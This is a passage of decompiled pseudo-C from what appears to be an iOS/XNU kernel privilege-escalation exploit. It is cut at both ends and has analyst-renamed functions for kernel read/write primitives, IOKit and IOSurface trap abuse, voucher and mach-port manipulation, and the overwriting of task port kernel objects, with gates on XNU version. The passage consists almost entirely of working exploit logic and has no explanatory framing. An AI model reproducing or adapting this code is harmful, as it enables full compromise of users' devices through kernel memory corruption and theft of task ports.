  v13 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
          *(uint64_t *)(a1 + 8),
          qword_480A0,
          2,
          &v57);
  kwrite_u64_to_addr(*(uint64_t *)a1, v13, 0);
  v58[0] = v13;
  (*(void (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))(
    *(uint64_t *)(a1 + 8),
    qword_480B0,
    1,
    v58);
  while ( 1 )
  {
    v14 = (*(__int64 (__fastcall **)(uint64_t, __int64))(**(uint64_t **)(a1 + 8) + 48LL))(*(uint64_t *)(a1 + 8), 10);
    if ( (unsigned __int8)v14 != 6 )
      break;
    trigger_iokit_property_exploit(a1);
  }
  if ( v14 )
    return 5;
  MEMORY[0x400004008] = 1094795585;
  v16 = kread_u64_value(*(uint64_t *)a1, v12);
  v58[0] = kread_u64_value(*(uint64_t *)a1, v16) & 0xFFFFFFFFC000LL;
  v17 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))(
          *(uint64_t *)(a1 + 8),
          qword_480B8,
          1,
          v58);
  v18 = kread_u64_value(*(uint64_t *)a1, v17 + 4096) & 0xFFFFFFFFC000LL;
  v58[0] = v18;
  v42 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))(
          *(uint64_t *)(a1 + 8),
          qword_480B8,
          1,
          v58);
  v44 = kread_u64_value(*(uint64_t *)a1, v42 + 8) & 0xFFFF000000003FFFLL | v18;
  v57 = xmmword_432E0;
  v43 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
          *(uint64_t *)(a1 + 8),
          qword_480A0,
          2,
          &v57);
  v19 = *(uint64_t *)a1;
  v20 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          qword_48098,
          20592);
  kwrite_u64_to_addr(v19, v43 + 64, v20);
  v57 = xmmword_432E0;
  v46 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
          *(uint64_t *)(a1 + 8),
          qword_480A0,
          2,
          &v57);
  v21 = 0;
  do
  {
    v22 = qword_43378[v21];
    v23 = dword_43390[v21];
    *(uint64_t *)&v57 = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL;
    *((uint64_t *)&v57 + 1) = v23;
    v24 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
            *(uint64_t *)(a1 + 8),
            qword_480A0,
            2,
            &v57);
    if ( v24 )
      v25 = 1;
    else
      v25 = v21 == 2;
    ++v21;
  }
  while ( !v25 );
  v26 = v24;
  v27 = kread_u64_value(*(uint64_t *)a1, qword_480C8);
  v39 = kread_u64_value(*(uint64_t *)a1, qword_480D0);
  v58[0] = v26;
  v28 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64, uint64_t *))(**(uint64_t **)(a1 + 8) + 8LL))(
          *(uint64_t *)(a1 + 8),
          qword_480B0,
          1,
          v58);
  v50 = 1;
  v29 = v44;
  if ( v2 > 0x918C5A833FFLL )
    v29 = v42;
  v37 = ((unsigned __int64)(v28 - v27) >> 13) & 0x7FFFFFFFFFFFELL;
  v38 = v29;
  v41 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          qword_48080,
          28765);
  v40 = (*(__int64 (__fastcall **)(uint64_t, __int64, __int64))(**(uint64_t **)(a1 + 8) + 16LL))(
          *(uint64_t *)(a1 + 8),
          qword_48088,
          28765);
  v30 = 0;
  *(uint32_t *)(a1 + 20) = mach_thread_self();
  do
  {
    v49[0] = _NSConcreteStackBlock;
    v49[1] = 3221225472LL;
    v49[2] = spin_wait_el0_via_ptr;
    v49[3] = &unk_44918;
    v49[4] = a1;
    pthread_create((pthread_t *)&v58[v30++], 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2_v2, v49);
  }
  while ( v30 != 64 );
  v47[0] = _NSConcreteStackBlock;
  v47[1] = 3221225472LL;
  v47[2] = wait_thread_via_ptr;
  v47[3] = &unk_44938;
  v47[4] = a1;
  v47[5] = &v50;
  v31 = v44;
  if ( v2 <= 0x918C5A833FFLL )
    v31 = v42;
  v47[6] = v45 + 8;
  v47[7] = v38;
  v47[8] = v31;
  v47[9] = 0;
  v47[10] = v26;
  v47[11] = v22;
  pthread_create(&v48, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2_v2, v47);
  while ( (_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) & 0xFFC) == 0 )
  {
    v32 = mach_thread_self();
    thread_switch(v32, 0, 0);
  }
  v50 = 0;
  while ( (kread_u32_value(*(uint64_t *)a1, v37 + v39) & 0x8000) == 0 )
    ;
  v33 = *((uint64_t *)&v53 + 1);
  **((uint64_t **)&v53 + 1) = v45;
  *(uint64_t *)(v33 + 8) = v40;
  IOConnectTrap6(connect[0], 0, 0xBEE2u, 0, 0, 0, 0, 0);
  v34 = 8;
  do
  {
    v35 = *((uint64_t *)&v53 + 1);
    **((uint64_t **)&v53 + 1) = qword_480C0;
    *(uint64_t *)(v35 + 8) = v41;
    IOConnectTrap6(connect[0], 0, v43, v4, 0x20u, v46, 0, 0);
    --v34;
  }
  while ( v34 );
  while ( v50 != 2 )
    ;
  *(uint64_t *)&v57 = v26;
  *((uint64_t *)&v57 + 1) = (v22 + 0x3FFF) & 0xFFFFFFFFFFFFC000LL;
  (*(void (__fastcall **)(uint64_t, __int64, __int64, __int128 *))(**(uint64_t **)(a1 + 8) + 8LL))(
    *(uint64_t *)(a1 + 8),
    qword_480A8,
    2,
    &v57);
  __dsb(0xFu);
  (*(void (__fastcall **)(uint64_t, __int64, uint64_t, uint64_t))(**(uint64_t **)(a1 + 8) + 8LL))(
    *(uint64_t *)(a1 + 8),
    qword_48090,
    0,
    0);
  v36 = 0;
  *(uint32_t *)(a1 + 20) = 0;
  do
    pthread_join((pthread_t)v58[v36++], 0);
  while ( v36 != 64 );
  pthread_join(v48, 0);
  write_task_kobject_fields(a1, (__int64)connect);
  return 0;
}
// 20: using guessed type segment_command_64 stru_20;
// 432E0: using guessed type __int128 xmmword_432E0;
// 43300: using guessed type __int128 xmmword_43300;
// 43378: using guessed type uint64_t qword_43378[3];
// 43390: using guessed type unsigned int dword_43390[3];
// 48080: using guessed type __int64 qword_48080;
// 48088: using guessed type __int64 qword_48088;
// 48090: using guessed type __int64 qword_48090;
// 48098: using guessed type __int64 qword_48098;
// 480A0: using guessed type __int64 qword_480A0;
// 480A8: using guessed type __int64 qword_480A8;
// 480B0: using guessed type __int64 qword_480B0;
// 480B8: using guessed type __int64 qword_480B8;
// 480C0: using guessed type __int64 qword_480C0;
// 480C8: using guessed type __int64 qword_480C8;
// 480D0: using guessed type __int64 qword_480D0;
// 480D8: using guessed type __int64 qword_480D8;
// 480E0: using guessed type uint8_t algn_480E0[32];

//----- (000000000001BC54) ----------------------------------------------------
__int64 __fastcall call_vtable_ptr_slot2_v2(__int64 a1)
{
  return (*(__int64 (**)(void))(a1 + 16))();
}

//----- (000000000001BC60) ----------------------------------------------------
__int64 __fastcall spin_wait_el0_via_ptr(__int64 a1)
{
  return spin_wait_el0_transition(*(uint64_t *)(a1 + 32));
}

//----- (000000000001BC68) ----------------------------------------------------
__int64 __fastcall wait_thread_via_ptr(__int64 a1)
{
  return wait_thread_ready(*(uint64_t *)(a1 + 32), (uint64_t **)(a1 + 40));
}

//----- (000000000001BC78) ----------------------------------------------------
__int64 __fastcall get_task_vm_region_base(task_name_t a1)
{
  uint64_t *v3; // x20
  vm_size_t outsize; // [xsp+8h] [xbp-28h] BYREF
  __int64 v5; // [xsp+10h] [xbp-20h] BYREF
  __int64 v6; // [xsp+18h] [xbp-18h] BYREF

  if ( (unsigned int)get_task_vm_info_0(a1, &v6) )
    return 0;
  v3 = (uint64_t *)(v6 + 40);
  if ( mach_task_self_ == a1 )
  {
    *v3 |= 1uLL;
  }
  else
  {
    if ( vm_read_overwrite(a1, v6 + 40, 8u, (vm_address_t)&v5, &outsize) )
      return 0;
    v5 |= 1uLL;
    if ( vm_write(a1, (vm_address_t)v3, (vm_offset_t)&v5, 8u) )
      return 0;
  }
  return 1;
}

//----- (000000000001BD24) ----------------------------------------------------
__int64 __fastcall get_task_vm_info_0(task_name_t a1, uint64_t *a2)
{
  __int64 result; // x0
  mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-2Ch] BYREF
  integer_t task_info_out[6]; // [xsp+8h] [xbp-28h] BYREF

  task_info_outCnt = 5;
  result = task_info(a1, 0x11u, task_info_out, &task_info_outCnt);
  if ( !(uint32_t)result )
  {
    if ( *(uint64_t *)task_info_out )
    {
      result = 0;
      *a2 = *(uint64_t *)task_info_out;
    }
    else
    {
      return 5;
    }
  }
  return result;
}

//----- (000000000001BD80) ----------------------------------------------------
__int64 __fastcall iosurface_enum_mach_port(__int64 a1, unsigned int a2)
{
  unsigned int v2; // w0
  unsigned int v3; // w19
  __int64 v5; // [xsp+8h] [xbp-18h] BYREF

  v2 = iosurface_id_to_index(a2);
  if ( (v2 & 0x80000000) != 0 )
    return 0;
  v3 = v2;
  if ( (unsigned int)get_task_vm_info_0(mach_task_self_, &v5) )
    return 0;
  if ( v3 <= 7 )
    return v5 + 4LL * (v3 + 6) + 232;
  return 0;
}

//----- (000000000001BDEC) ----------------------------------------------------
__int64 __fastcall iosurface_id_to_index(unsigned int a1)
{
  if ( a1 > 0x19 )
    return 0xFFFFFFFFLL;
  else
    return dword_4339C[a1];
}
// 4339C: using guessed type unsigned int dword_4339C[27];

//----- (000000000001BE0C) ----------------------------------------------------
__int64 __fastcall get_iosurface_mem_entry(__int64 a1, unsigned int a2, mach_port_name_t *a3)
{
  mach_port_name_t *v6; // x0
  mach_port_name_t *v7; // x20
  mach_port_name_t v8; // w1
  kern_return_t v9; // w0
  __int64 result; // x0
  unsigned int v11; // w1
  unsigned __int64 v12; // [xsp+0h] [xbp-30h] BYREF
  mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF

  name = 0;
  if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
  {
    if ( voucher_create_mach_voucher(a1, a2 + 0x1122334455667788LL, &name) )
    {
LABEL_7:
      result = 0;
      *a3 = name;
      return result;
    }
    return 4097;
  }
  v6 = (mach_port_name_t *)iosurface_enum_mach_port(a1, a2);
  if ( v6 )
  {
    v7 = v6;
    v8 = *v6;
    name = v8;
    if ( v8 + 1 > 1 )
      goto LABEL_4;
    v12 = 0;
    if ( a2 - 19 >= 2 )
    {
      if ( a2 != 16 )
        return 4097;
      v11 = 11;
    }
    else
    {
      v11 = 12;
    }
    if ( (unsigned int)lookup_physmap_page_slot((struct_krwCtx *)a1, v11, (__int64 *)&v12) && v12 )
    {
      result = plist_elem_is_string_6((struct_krwCtx *)a1, v12, &name);
      if ( (uint32_t)result )
        return result;
      if ( name + 1 >= 2 )
      {
        v9 = mach_port_mod_refs(mach_task_self_, name, 0, 0xFFFF);
        if ( v9 )
          return v9 | 0x80000000;
        *v7 = name;
        v8 = name;
LABEL_4:
        v9 = mach_port_mod_refs(mach_task_self_, v8, 0, 1);
        if ( v9 )
          return v9 | 0x80000000;
        goto LABEL_7;
      }
    }
  }
  return 4097;
}

//----- (000000000001BF68) ----------------------------------------------------
__int64 __fastcall alloc_vm_page_mem_entry(__int64 a1, unsigned int a2, vm_size_t size, vm_address_t *address)
{
  __int64 v6; // x21
  kern_return_t v7; // w0
  mem_entry_name_port_t object; // [xsp+Ch] [xbp-24h] BYREF

  object = 0;
  v6 = get_iosurface_mem_entry(a1, a2, &object);
  if ( !(uint32_t)v6 )
  {
    if ( !address )
    {
      v6 = 0;
      goto LABEL_11;
    }
    v7 = vm_map(mach_task_self_, address, size, 0, 1, object, 0, 0, 3, 3, 2u);
    if ( v7 )
      v6 = v7 | 0x80000000;
    else
      v6 = 0;
    if ( !(uint32_t)v6 )
      goto LABEL_11;
  }
  if ( address && *address )
  {
    vm_deallocate(mach_task_self_, *address, size);
    *address = 0;
  }
LABEL_11:
  if ( object + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, object);
  return v6;
}

//----- (000000000001C058) ----------------------------------------------------
__int64 __fastcall alloc_vm_page(__int64 a1)
{
  vm_size_t v2; // x20
  __int64 result; // x0
  vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF

  v4 = 0;
  v2 = vm_page_size;
  if ( *(uint64_t *)(a1 + 280) && *(uint64_t *)(a1 + 288) )
    return 0;
  result = alloc_vm_page_mem_entry(a1, 0x10u, vm_page_size, &v4);
  if ( !(uint32_t)result )
  {
    *(uint64_t *)(a1 + 280) = v4;
    *(uint64_t *)(a1 + 288) = v2;
  }
  return result;
}

//----- (000000000001C0C8) ----------------------------------------------------
bool __fastcall krw_setup_with_stat(__int64 a1, uint32_t *a2)
{
  unsigned __int64 v4; // x8
  __int64 v5; // x24
  __int64 v6; // x21
  ipc_voucher_t *v7; // x22
  __int32 *v8; // x25
  __int64 v9; // x27
  __int32 *v10; // x20
  int v11; // w8
  int v13; // w0
  unsigned __int64 v14; // x8
  __darwin_time_t tv_sec; // x22
  unsigned __int64 v16; // x8
  unsigned __int64 v17; // x22
  unsigned __int64 v18; // x8
  __int64 v19; // x22
  struct stat v20; // [xsp+0h] [xbp-110h] BYREF
  int nullFd; // [xsp+94h] [xbp-7Ch] BYREF
  __int32 v22[2]; // [xsp+98h] [xbp-78h] BYREF
  __int64 v23; // [xsp+A0h] [xbp-70h]
  uint64_t v24[2]; // [xsp+A8h] [xbp-68h] BYREF

  v24[0] = 0;
  v24[1] = 0;
  *(uint64_t *)v22 = -1;
  v23 = -1;
  nullFd = -1;
  v4 = *(uint64_t *)(a1 + 344);
  if ( v4 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) && (*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
  {
    v5 = 3;
  }
  else if ( v4 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
  {
    v5 = 3;
  }
  else
  {
    v5 = 4;
  }
  if ( (unsigned int)fd_open_dev_null(&nullFd) )
  {
LABEL_14:
    v10 = v22;
    do
    {
      if ( *v10 != -1 )
        close(*v10);
      ++v10;
      --v5;
    }
    while ( v5 );
    v11 = 0;
  }
  else
  {
    v6 = 0x1122334455667788LL;
    v7 = (ipc_voucher_t *)v24;
    v8 = v22;
    v9 = v5;
    do
    {
      if ( !voucher_create_mach_voucher(a1, v6, v7) )
        goto LABEL_13;
      *v8 = j__fileport_makefd(*v7);
      mach_port_deallocate(mach_task_self_, *v7);
      *v7 = 0;
      if ( *v8 < 0 )
        goto LABEL_13;
      ++v6;
      ++v7;
      ++v8;
      --v9;
    }
    while ( v9 );
    if ( (unsigned int)setup_two_fds(v22) )
    {
LABEL_13:
      fd_close(nullFd);
      goto LABEL_14;
    }
    v13 = v22[1];
    *(uint32_t *)(a1 + 6448) = v22[0];
    *(uint32_t *)(a1 + 6452) = v13;
    v14 = *(uint64_t *)(a1 + 344);
    if ( v14 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) && ((*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v14 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) )
      *(uint32_t *)(a1 + 6464) = v23;
    else
      *(uint64_t *)(a1 + 6456) = v23;
    if ( !fstat(v13, &v20) )
    {
      tv_sec = v20.st_atimespec.tv_sec;
      if ( validate_kaddr_range(a1, v20.st_atimespec.tv_sec) )
        *(uint64_t *)(a1 + 6608) = tv_sec;
      v16 = *(uint64_t *)(a1 + 344);
      if ( v16 > XNU_VERSION_PACKED(7195, 42, 0, 1023, 1023) && ((*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v16 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) )
      {
        v17 = v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL;
        if ( validate_kaddr_range(a1, v20.st_atimespec.tv_nsec | 0xFFFFFF0000000000LL) )
          *(uint64_t *)(a1 + 536) = v17;
        v18 = ((unsigned __int64)v20.st_atimespec.tv_nsec >> 40) * *(unsigned int *)(a1 + 384);
        if ( v18 && (*(uint64_t *)(a1 + 392) & v18) == 0 )
          *(uint64_t *)(a1 + 6624) = v18;
        if ( *(uint32_t *)(a1 + 6448) != -1 && *(uint32_t *)(a1 + 6452) != -1 && *(uint32_t *)(a1 + 6464) != -1 )
        {
          if ( *(uint64_t *)(a1 + 536) )
          {
            if ( *(uint64_t *)(a1 + 344) >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) && !(unsigned int)alloc_vm_page(a1) )
            {
              v19 = *(uint64_t *)(*(uint64_t *)(a1 + 280) + 256LL);
              if ( validate_kaddr_range(a1, v19) )
                *(uint64_t *)(a1 + 544) = v19;
            }
          }
        }
      }
      else if ( v20.st_atimespec.tv_nsec && (*(uint64_t *)(a1 + 392) & v20.st_atimespec.tv_nsec) == 0 )
      {
        *(uint64_t *)(a1 + 6624) = v20.st_atimespec.tv_nsec;
      }
    }
    fd_read_test((int *)(a1 + 6448));
    fd_close(nullFd);
    v11 = 1;
  }
  *a2 = v11;
  return true;
}

//----- (000000000001C3EC) ----------------------------------------------------
bool __fastcall krw_setup_ports_vm(__int64 a1, uint32_t *a2)
{
  vm_size_t v4; // x20
  int v5; // w8
  bool result; // w0
  __int64 v7; // x24
  ipc_voucher_t *v8; // x22
  mach_port_name_t *v9; // x0
  mach_port_name_t v10; // w1
  __int64 i; // x21
  mach_port_name_t v12; // w1
  int v13; // w21
  bool v14; // zf
  __int64 v15; // x22
  __int64 v16; // x22
  __int64 v17; // x22
  int v18; // w24
  unsigned __int64 v19; // x0
  mach_port_t v20; // w9
  vm_size_t v21; // x8
  bool v22; // cf
  int v23; // [xsp+14h] [xbp-7Ch] BYREF
  vm_address_t v24; // [xsp+18h] [xbp-78h] BYREF
  vm_address_t address; // [xsp+20h] [xbp-70h] BYREF
  __int128 v26; // [xsp+28h] [xbp-68h]
  mach_port_t connection[2]; // [xsp+38h] [xbp-58h] BYREF
  mem_entry_name_port_t object; // [xsp+40h] [xbp-50h]

  object = 0;
  *(uint64_t *)connection = 0;
  address = 0;
  v4 = vm_page_size;
  v24 = 0;
  v23 = -1;
  v5 = fd_open_dev_null(&v23);
  result = false;
  if ( !v5 )
  {
    v7 = -3;
    v8 = connection;
    do
    {
      if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
      {
        result = voucher_create_mach_voucher(a1, v7 + 0x312233445566778BLL, v8) != 0;
        if ( !result )
          break;
        if ( *v8 + 1 < 2 )
          goto LABEL_16;
      }
      else
      {
        v9 = (mach_port_name_t *)iosurface_enum_mach_port(a1, (int)v7 + 3);
        if ( !v9 )
          goto LABEL_16;
        v10 = *v9;
        *v8 = *v9;
        if ( v10 + 1 < 2 )
          goto LABEL_16;
        result = mach_port_mod_refs(mach_task_self_, v10, 0, 1);
        if ( (uint32_t)result )
          goto LABEL_16;
      }
      ++v8;
      v22 = __CFADD__(v7++, 1);
    }
    while ( !v22 );
    if ( (*(int *)(a1 + 320) > 8791 || IOConnectCallMethod(connection[1], 0x3E7u, 0, 0, 0, 0, 0, 0, 0, 0) == -536870201)
      && !vm_map(mach_task_self_, &address, v4, 0, 1, connection[0], 0, 0, 3, 3, 2u)
      && !vm_map(mach_task_self_, &v24, v4, 0, 1, object, 0, 0, 3, 3, 2u) )
    {
      v15 = *(uint64_t *)v24;
      if ( validate_kaddr_range(a1, *(uint64_t *)v24) )
      {
        *(uint64_t *)(a1 + 6608) = v15;
        v16 = *(uint64_t *)(v24 + 8);
        if ( validate_kaddr_range(a1, v16) )
        {
          *(uint64_t *)(a1 + 240) = v16;
          v17 = *(unsigned int *)(v24 + 16);
          v18 = *(uint32_t *)(v24 + 20);
          v19 = krw_xpac_vaddr_2((struct_krwCtx *)a1, *(uint64_t *)(address + v17));
          if ( validate_kaddr_range(a1, v19) )
          {
            v20 = connection[0];
            *(uint32_t *)(a1 + 232) = connection[1];
            *(uint64_t *)(a1 + 248) = address;
            *(uint64_t *)(a1 + 256) = v4;
            *(uint32_t *)(a1 + 276) = v20;
            *(uint32_t *)(a1 + 272) = v18;
            *(uint64_t *)(a1 + 264) = v17;
            fd_close(v23);
            v13 = 1;
            goto LABEL_24;
          }
          v26 = 0u;
          if ( v4 )
          {
            v21 = 0;
            do
            {
              v14 = v26 == *(__int128 *)(address + v21);
              v21 = (unsigned int)(v21 + 16);
              v22 = !v14 || v21 >= v4;
            }
            while ( !v22 );
          }
        }
      }
    }
LABEL_16:
    fd_close(v23);
    if ( address && v4 )
      vm_deallocate(mach_task_self_, address, v4);
    for ( i = 0; i != 3; ++i )
    {
      v12 = connection[i];
      if ( v12 + 1 >= 2 )
        mach_port_deallocate(mach_task_self_, v12);
    }
    v13 = 0;
LABEL_24:
    if ( v24 )
      v14 = v4 == 0;
    else
      v14 = 1;
    if ( !v14 )
      vm_deallocate(mach_task_self_, v24, v4);
    *a2 = v13;
    return true;
  }
  return result;
}

//----- (000000000001C720) ----------------------------------------------------
__int64 __fastcall setup_voucher_exploit_ctx(struct_krwCtx *a1, unsigned int *a2, unsigned int a3)
{
  __int64 result; // x0
  int xnuMajorVersion; // w8
  __int64 v8; // x22
  unsigned __int64 v10; // x23
  __int64 v11; // x24
  unsigned __int64 v12; // x22
  int v13; // w8
  __int64 v14; // x20
  int v15; // [xsp+0h] [xbp-40h] BYREF
  uint8_t v16[4]; // [xsp+4h] [xbp-3Ch] BYREF
  unsigned __int64 v17; // [xsp+8h] [xbp-38h] BYREF

  result = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  v8 = 56;
  if ( xnuMajorVersion <= 8018 )
  {
    if ( xnuMajorVersion != 6153 && xnuMajorVersion != 7195 )
      return result;
  }
  else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 )
  {
    if ( xnuMajorVersion != 8792 )
      return result;
    v8 = 48;
  }
  result = task_self_get_ipc_port(a1, *a2);
  if ( result )
  {
    v10 = result;
    result = kread_u32((__int64)a1, result, &v15);
    if ( (uint32_t)result )
    {
      if ( (v15 & 0x3FF) != 0x25 )
        return 0;
      result = maybe_ipc_port_get_kobject(a1, v10);
      if ( result )
      {
        v11 = result;
        v12 = result + v8;
        v13 = kread_physmap_decorated(a1, v12, &v17);
        result = 0;
        if ( v13 && v10 == v17 )
        {
          result = kread_u32((__int64)a1, v11 + 8, v16);
          if ( (uint32_t)result )
          {
            result = noppl_kwrite32((__int64)a1, v11 + 8, 0xFFFF);
            if ( (uint32_t)result )
            {
              if ( mach_port_deallocate(mach_task_self_, *a2) )
                return 0;
              *a2 = 0;
              result = task_self_get_ipc_port(a1, a3);
              if ( result )
              {
                v14 = result;
                result = kwrite64((__int64)a1, v12, result);
                if ( (uint32_t)result )
                {
                  kread_and_vm_attr_double((__int64)a1, v14);
                  return 1;
                }
              }
            }
          }
        }
      }
    }
  }
  return result;
}

//----- (000000000001C8B0) ----------------------------------------------------
__int64 __fastcall alloc_iosurface_mach_port(struct_krwCtx *a1, unsigned int a2, unsigned int a3)
{
  __int64 v6; // x0
  uint32_t *v7; // x21
  __int64 v8; // x0
  __int64 v9; // x23
  __int64 v10; // x22
  unsigned int v11; // w22
  kern_return_t v12; // w0
  __int64 v14; // [xsp+0h] [xbp-40h] BYREF
  mach_port_name_t name; // [xsp+Ch] [xbp-34h] BYREF

  name = 0;
  if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
  {
    if ( voucher_create_mach_voucher((__int64)a1, a2 + 0x1122334455667788LL, &name)
      && (unsigned int)setup_voucher_exploit_ctx(a1, &name, a3) )
    {
      goto LABEL_9;
    }
  }
  else
  {
    v14 = 0;
    v6 = iosurface_enum_mach_port((__int64)a1, a2);
    if ( v6 )
    {
      v7 = (uint32_t *)v6;
      v8 = task_self_get_ipc_port(a1, a3);
      if ( !v8 )
      {
        v10 = 163854;
        goto LABEL_19;
      }
      v9 = v8;
      v10 = kread_and_vm_attr_double((__int64)a1, v8);
      if ( (uint32_t)v10 )
        goto LABEL_19;
      if ( a2 - 19 >= 2 )
      {
        if ( a2 != 16 )
        {
LABEL_16:
          v12 = mach_port_mod_refs(mach_task_self_, a3, 0, 0xFFFF);
          if ( v12 )
          {
            v10 = v12 | 0x80000000;
            goto LABEL_19;
          }
          *v7 = a3;
LABEL_9:
          v10 = 0;
          goto LABEL_19;
        }
        v11 = 11;
      }
      else
      {
        v11 = 12;
      }
      if ( (unsigned int)lookup_physmap_page_slot(a1, v11, &v14) && (v14 || (unsigned int)cache_physmap_page_slot((__int64)a1, v11, v9)) )
        goto LABEL_16;
    }
  }
  v10 = 4097;
LABEL_19:
  if ( name + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, name);
  return v10;
}

//----- (000000000001CA3C) ----------------------------------------------------
__int64 __fastcall insert_mach_port_send_right(__int64 a1, task_name_t a2, unsigned int a3, __int64 a4, unsigned int a5)
{
  __int64 v5; // x21
  __int64 v6; // x22
  __int64 v10; // x25
  __int64 v11; // x26
  __int64 v12; // x24
  unsigned int v13; // w1
  int inserted; // w0
  __int64 v15; // x23
  __int64 v16; // x25
  char *v17; // x22
  unsigned int v18; // w0
  unsigned int v19; // w0
  kern_return_t v20; // w0
  mach_port_t *v22; // x23
  uint32_t *v23; // x26
  mach_port_t v24; // w22
  uint64_t *v25; // x23
  unsigned int v26; // w0
  unsigned int v27; // w0
  char v29; // [xsp+14h] [xbp-8Ch]
  mach_vm_size_t outsize; // [xsp+18h] [xbp-88h] BYREF
  __int64 v31; // [xsp+20h] [xbp-80h] BYREF
  uint64_t v32[2]; // [xsp+28h] [xbp-78h] BYREF
  uint64_t v33[2]; // [xsp+38h] [xbp-68h] BYREF

  if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
    return 0;
  LODWORD(v5) = a3;
  if ( a3 - 1 > 3 )
    return 708609;
  v10 = 0;
  v11 = 163857;
  v33[0] = 0;
  v33[1] = 0;
  v12 = a3;
  v6 = 163848;
  do
  {
    if ( a4 )
      v13 = *(uint32_t *)(a4 + 4 * v10);
    else
      v13 = v10;
    a1 = iosurface_enum_mach_port(a1, v13);
    if ( !a1 )
      return 4097;
    if ( (unsigned int)(*(uint32_t *)a1 + 1) <= 1 && ((a5 >> v10) & 1) != 0 )
      return v6;
    *((uint32_t *)v33 + v10++) = *(uint32_t *)a1;
  }
  while ( (unsigned int)v5 != v10 );
  inserted = get_task_vm_info_0(a2, &v31);
  if ( inserted )
    return inserted | 0x80000000;
  v15 = 0;
  v29 = 0;
  v32[0] = 0;
  v32[1] = 0;
  v16 = v31 + 232;
LABEL_16:
  v17 = (char *)v32 + 4 * v15;
  do
  {
    if ( a4 )
      v18 = *(uint32_t *)(a4 + 4 * v15);
    else
      v18 = v15;
    v19 = iosurface_id_to_index(v18);
    if ( v19 > 7 )
      return v11;
    v20 = mach_vm_read_overwrite(a2, v16 + 4LL * (v19 + 6), 4u, (mach_vm_address_t)v17, &outsize);
    if ( v20 )
      return v20 | 0x80000000;
    if ( (unsigned int)(*((uint32_t *)v32 + v15) + 1) <= 1 && (unsigned int)(*((uint32_t *)v33 + v15) + 1) >= 2 )
    {
      v29 = 1;
      if ( (unsigned int)v5 - 1LL != v15++ )
        goto LABEL_16;
      goto LABEL_32;
    }
    ++v15;
    v17 += 4;
  }
  while ( (unsigned int)v5 != v15 );
  if ( (v29 & 1) == 0 )
    return 0;
LABEL_32:
  v22 = (mach_port_t *)v33;
  v23 = v32;
  do
  {
    LODWORD(outsize) = 0;
    v24 = *v22;
    if ( *v22 + 1 >= 2 )
    {
      inserted = mach_port_allocate(a2, 1u, (mach_port_name_t *)&outsize);
      if ( inserted )
        return inserted | 0x80000000;
      inserted = mach_port_mod_refs(a2, outsize, 1u, -1);
      if ( inserted )
        return inserted | 0x80000000;
      inserted = mach_port_insert_right(a2, outsize, v24, 0x13u);
      if ( inserted )
        return inserted | 0x80000000;
      inserted = mach_port_mod_refs(a2, outsize, 0, 0xFFFF);
      if ( inserted )
        return inserted | 0x80000000;
      *v23 = outsize;
    }
    ++v22;
    ++v23;
    --v12;
  }
  while ( v12 );
  v25 = v32;
  if ( (unsigned int)v5 <= 1 )
    v5 = 1;
  else
    v5 = (unsigned int)v5;
  while ( 1 )
  {
    v26 = a4 ? *(uint32_t *)(a4 + 4 * v12) : v12;
    v27 = iosurface_id_to_index(v26);
    if ( v27 > 7 )
      break;
    inserted = mach_vm_write(a2, v16 + 4LL * (v27 + 6), (vm_offset_t)v25, 4u);
    if ( inserted )
      return inserted | 0x80000000;
    v6 = 0;
    ++v12;
    v25 = (uint64_t *)((char *)v25 + 4);
    if ( v5 == v12 )
      return v6;
  }
  return 163857;
}

//----- (000000000001CD34) ----------------------------------------------------
__int64 __fastcall mementry_iosurface_port_alloc(struct_krwCtx *a1, unsigned int a2, vm_size_t size, vm_offset_t offset, vm_address_t *a5)
{
  int v10; // w25
  vm_offset_t v11; // x2
  kern_return_t memory_entry; // w0
